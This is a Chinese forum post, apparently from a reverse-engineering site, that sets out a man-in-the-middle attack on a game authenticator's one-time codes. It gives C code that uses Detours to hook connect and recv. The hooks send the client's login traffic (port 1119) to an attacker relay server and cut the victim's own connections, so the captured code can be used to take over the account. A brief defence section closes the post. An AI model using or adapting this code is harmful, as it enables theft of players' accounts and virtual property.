题外话:
生活在杭州,出门基本已不带钱包,以前是虚拟财产,现在是财产虚拟,so..抛砖引玉
思路:
1将军令是根据当前时间生成的,有效期为1分钟左右
2如果服务器有验证过,那么当前时间段内的KEY无效,所以需要断开CLIENT机与SERVER的通信
其它如清册表要清理,不然KEY窗口不会弹等不在此讨论范围
直接上代码,附注释
char MiddleAttackServerIP[50]={0x00};//中转数据包的服务器IP
int MiddleAttackServerPort=8000;//中转数据包的服务器端口
bool mHookIt=false;//是否开始拦截
int (WSAAPI* True_recv)(__in SOCKET s, __out_bcount_part(len, return) __out_data_source(NETWORK) char FAR * buf, __in int len, __in int flags)=recv;
int WSAAPI hkrecv(__in SOCKET s, __out_bcount_part(len, return) __out_data_source(NETWORK) char FAR * buf, __in int len, __in int flags)
{
//如果开始拦截,中断WOW数据包,防止失效并造成网络拥堵假象
if(mHookIt==true)
{
struct sockaddr addr;
struct sockaddr_in* addr_v4;
int addr_len = sizeof(addr);
DWORD s_Port=0;
ZeroMemory(&addr, sizeof(addr));
if (0 == getpeername(s, &addr, &addr_len))
{
if (addr.sa_family == AF_INET)
{
addr_v4 = (sockaddr_in*)&addr;
s_Port = ntohs(addr_v4->sin_port);
}
}
//调试信息
//FUNC_DEBUG_MSG("hkrecv[%d]",s_Port);
if(s_Port==1119 || s_Port==3724)//if((newIP != NowIP))
{
closesocket(s);
return -1;
}
}
return True_recv( s, buf,len,flags);
}
int (WSAAPI* True_connect)(IN SOCKET s, IN const sockaddr * name, IN int namelen)=connect;
int WSAAPI hkconnect(IN SOCKET s, IN const sockaddr * name, IN int namelen)
{
if(mHookIt==true)
{
struct sockaddr_in *paddr =(struct sockaddr_in *)name;
char *ip =inet_ntoa(paddr->sin_addr);
int port =ntohs(paddr->sin_port);
if(port==1119) //port != 80 && port != HACK_SERVER_PORT (中转的不处理)
{
int rport=MiddleAttackServerPort;
DWORD newIP= inet_addr(MiddleAttackServerIP);
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = newIP;
clientService.sin_port = htons( rport );
return True_connect( s, (sockaddr *)&clientService, sizeof(clientService));
}
}
return True_connect( s, name,namelen);
}
//HOOK connect recv两个函数
LONG HookConnectDetour()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)True_connect, hkconnect);//WS2_32.DLL
DetourAttach(&(PVOID&)True_recv, hkrecv);//WS2_32.DLL
if(DetourTransactionCommit() != NO_ERROR)
FUNC_DEBUG_MSG("error:detoured hook unsuccessfully");
return 1;
}
中转服务端就简单了
直接中转下数据包,并把第一个返回数据包转给CLIENT即可,之后的包丢弃.
防:
现在是一手一个智能手机,通过APP的2次效验(学习淘宝)+防中间人攻击加密(如SSL)
异常虚拟财产交易有信息通知,并支持数据回滚(这个涉及到架构)
其它想法大家一起来说
若有疏漏,欢迎指正交流,也可加Q65234
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)